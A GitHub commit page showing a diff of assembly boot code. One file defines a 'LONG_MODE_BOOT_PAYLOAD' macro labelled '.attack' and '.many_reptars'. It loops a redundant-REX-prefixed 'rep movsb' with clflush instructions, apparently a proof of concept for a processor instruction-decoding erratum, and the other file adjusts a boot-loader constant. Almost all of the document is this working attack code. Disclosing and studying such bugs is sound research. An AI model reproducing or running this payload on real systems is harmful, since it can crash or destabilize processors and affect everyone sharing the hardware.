-
Notifications
You must be signed in to change notification settings - Fork 415
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6a6cae1
commit 2b3b816
Showing
2 changed files
with
25 additions
and
25 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,28 +1,28 @@ | ||
%macro LONG_MODE_BOOT_PAYLOAD 0 | ||
xor rbx, rbx | ||
.attack: | ||
xor ecx, ecx | ||
lea rsi, [rsp+1] | ||
mov rdi, rsi | ||
.many_reptars: | ||
align 64 | ||
; 16 bytes | ||
times 4 nop ; 4 bytes | ||
dec rsi ; 3 bytes | ||
dec rdi ; 3 bytes | ||
inc rbx ; 3 bytes | ||
inc rcx ; 3 bytes | ||
; 16 bytes | ||
clflush [rdi] ; 3 bytes | ||
clflush [rsi+64] ; 4 bytes | ||
;mov [rsp], rbx ; 4 bytes | ||
rep ; 1 byte | ||
db 0x44; rex.r ; 1 byte | ||
movsb ; 1 byte | ||
rep ; 1 byte | ||
nop ; 1 byte | ||
mov dil, bl ; counter | ||
jmp .attack | ||
xor rbx, rbx | ||
.attack: | ||
xor ecx, ecx | ||
lea rsi, [rsp+1] | ||
mov rdi, rsi | ||
.many_reptars: | ||
align 64 | ||
; 16 bytes | ||
times 4 nop ; 4 bytes | ||
dec rsi ; 3 bytes | ||
dec rdi ; 3 bytes | ||
inc rbx ; 3 bytes | ||
inc rcx ; 3 bytes | ||
; 16 bytes | ||
clflush [rdi] ; 3 bytes | ||
clflush [rsi+64] ; 4 bytes | ||
;mov [rsp], rbx ; 4 bytes | ||
rep ; 1 byte | ||
db 0x44; rex.r ; 1 byte | ||
movsb ; 1 byte | ||
rep ; 1 byte | ||
nop ; 1 byte | ||
mov dil, bl ; counter | ||
jmp .attack | ||
%endmacro | ||
|
||
%include "third_party/long_mode_boot.asm" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -17,7 +17,7 @@ | |
%endmacro | ||
%endif | ||
|
||
%define FREE_SPACE 0x9000 | ||
%define FREE_SPACE 0xF000 | ||
ORG 0x7C00 | ||
BITS 16 | ||
|